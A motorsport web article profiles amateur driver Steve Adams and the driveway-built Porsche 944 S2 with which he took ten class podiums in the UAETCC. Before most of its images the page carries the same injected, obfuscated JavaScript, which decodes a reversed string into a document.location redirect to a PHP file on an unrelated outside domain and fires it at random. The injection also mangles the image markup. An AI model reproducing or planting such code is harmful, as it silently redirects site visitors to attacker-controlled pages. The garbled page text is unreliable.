$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20Drivers/SteveAdams1.jpg” alt=”www.crankandpiston.com” width=”728″ border=”0″>
Steve Adams blew most if not everyone away last season in the UAETCC. Turning up with the most innocuous looking Metallic Grey 944 imaginable he managed to punt it right up the field and frustrate more than a few big budget cars with great driving and a great vehicle package.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20Drivers/IMG_6555.jpg” alt=”www.crankandpiston.com” width=”728″ border=”0″>
Steve’s way into racing is quite a humourus route and one that I’m sure more than a couple of us can relate to. Ill let Steve take over from here…”I rolled my first car three weeks after I got my driver’s license. Unimpressed, my dad sent me to do an advanced driving course at Lakeside International Raceway in Brisbane and I was hooked! That was 1982 J I wanted to be the next F1 champion”.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20Drivers/IMG_6030.jpg” alt=”www.crankandpiston.com” width=”728″ border=”0″>
Steve then dabbled in lots of club racing, sports cars, the occasional formula vee & formula ford during last 25 years, but never had much budget to get serious. This situation would then come back to assist Steve last year as he wrenched away on his car himself with the help of a couple of good friends..
In 1998 Steve won the Horizon Motorsport Driver Search competition in Canada which got him a free season in the 1999 Bridgestone Racing School Formula 20000 championship. He did well, but sadly didn’t have the money to continue!! So fast forward 10 years and the 2008/2009 UAETCC is openly a bit of a mid-life crisis…After all he wanted to see if he could still drive a race car after all that time!
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20Drivers/IMG_5710.jpg” alt=”www.crankandpiston.com” width=”728″ border=”0″>
The weapon of choice…a 1990 Porsche 944 S2 purchased as a road registered car in May 2008. Steve originally wanted a 944 turbo, but couldn’t find one.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20Drivers/SL-8-24-04-2009-.jpg” alt=”www.crankandpiston.com” width=”728″ border=”0″>
So why pick a 944? It was cheap, rear wheel drive, well balanced and looked good. Steve then proceeded to strip the car and built it mostly in his driveway. The car is fitted with a bolt in cage, basic safety gear and plastic side and rear windows.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20Drivers/SteveAdams2.jpg” alt=”www.crankandpiston.com” width=”728″ border=”0″>
Engine is a 968 (2990cc 16V ) junkyard motor he found gathering dust in a Sharjah workshop. That particular workshop did the engine swap but screwed up the wiring and couldn’t make it start or run. They then went out of business and locked the 944 in their warehouse.
He missed Round 1 as a result but finally rescued the car and took it to PowerTec where Steve Bijok gets the credit for saving my season and making it run properly. It originally dynoed at 190hp at the wheels…. He has since added cams and headers for a few more hp but apart from that it’s stock.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20Drivers/IMG_6037.jpg” alt=”www.crankandpiston.com” width=”728″ border=”0″>
The secret of the car’s speed is mainly in the handling. Solid bushings throughout, big bars, quality shocks, stiff springs, and a race diff. Everything is adjustable and Steve does his own corner weighting and alignments.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20Drivers/SteveAdams3.jpg” alt=”www.crankandpiston.com” width=”728″ border=”0″>
The car performed amazingly in its first season even though modest Steve will say it did ok!!. There were lots of minor repairs along the way as you would expect on a 20 year old budget race car. So at the end of the season Steve had racked up 10 Class 3 podium finishes!! Pretty sweet right?!
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20Drivers/SteveAdams1.jpg” alt=”www.crankandpiston.com” width=”728″ border=”0″>
So to finish off…In Steve’s words “Most people are impressed by the car’s pace and don’t appreciate that the car is way underdeveloped. Personally I want a lot more out of it. Bigger rubber, bigger brakes and more power are in the pipeline. Expect some surprises next year when it comes back for the GT championship.”
Phil
